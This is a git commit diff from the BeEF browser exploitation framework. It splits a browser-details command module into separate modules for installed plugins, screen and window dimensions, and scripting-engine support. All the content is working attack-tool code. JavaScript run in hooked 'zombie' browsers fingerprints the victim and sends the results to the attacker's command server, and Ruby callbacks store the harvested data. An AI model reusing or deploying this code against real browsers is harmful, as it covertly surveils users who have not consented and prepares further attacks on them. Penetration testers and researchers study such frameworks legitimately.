- Seperated browser details detection into seperate modules. [Issue #: 280]
git-svn-id: https://beef.googlecode.com/svn/trunk@808 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -49,14 +49,8 @@ function serialize(_obj)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
var plugins = beef.browser.getPlugins();
|
||||
|
||||
var browser_type = serialize(beef.browser.type());
|
||||
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
|
||||
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
|
||||
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
|
||||
var screen_params = serialize(beef.browser.getScreenParams());
|
||||
var window_size = serialize(beef.browser.getWindowSize());
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type);
|
||||
});
|
||||
|
||||
@@ -6,13 +6,12 @@ class Detect_details < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Browser Details',
|
||||
'Name' => 'Browser Type',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie browser plugins, browser type
|
||||
and scripting engines, plus screen dimensions.'
|
||||
This module will retrieve the selected zombie browser details.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe'],
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
@@ -27,14 +26,7 @@ class Detect_details < BeEF::Command
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Plugins'] = @datastore['plugins']
|
||||
content['Browser type'] = @datastore['browser_type']
|
||||
content['Java enabled'] = @datastore['java_enabled']
|
||||
content['VBscript enabled'] = @datastore['vbscript_enabled']
|
||||
content['Has Flash'] = @datastore['has_flash']
|
||||
content['Has Google Gears'] = @datastore['has_googlegears']
|
||||
content['Screen Parameters'] = @datastore['screen_params']
|
||||
content['Window Size'] = @datastore['window_size']
|
||||
content['Browser type'] = @datastore['browser_type']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
|
||||
56
modules/commands/browser/detect_plugins/detect_plugins.js
Normal file
56
modules/commands/browser/detect_plugins/detect_plugins.js
Normal file
@@ -0,0 +1,56 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
var plugins = beef.browser.getPlugins();
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins);
|
||||
});
|
||||
39
modules/commands/browser/detect_plugins/detect_plugins.rb
Normal file
39
modules/commands/browser/detect_plugins/detect_plugins.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_plugins < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Installed Plugins',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie browser plugins.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Plugins'] = @datastore['plugins']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,57 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var screen_params = serialize(beef.browser.getScreenParams());
|
||||
var window_size = serialize(beef.browser.getWindowSize());
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'screen_params='+screen_params+'&window_size='+window_size);
|
||||
});
|
||||
@@ -0,0 +1,40 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_screen_details < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Screen Details',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie screen dimensions.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Screen Parameters'] = @datastore['screen_params']
|
||||
content['Window Size'] = @datastore['window_size']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,60 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
|
||||
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
|
||||
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears);
|
||||
});
|
||||
@@ -0,0 +1,42 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_scripts_support < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Scripts Support',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie browser scripting engines.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Java enabled'] = @datastore['java_enabled']
|
||||
content['VBscript enabled'] = @datastore['vbscript_enabled']
|
||||
content['Has Flash'] = @datastore['has_flash']
|
||||
content['Has Google Gears'] = @datastore['has_googlegears']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user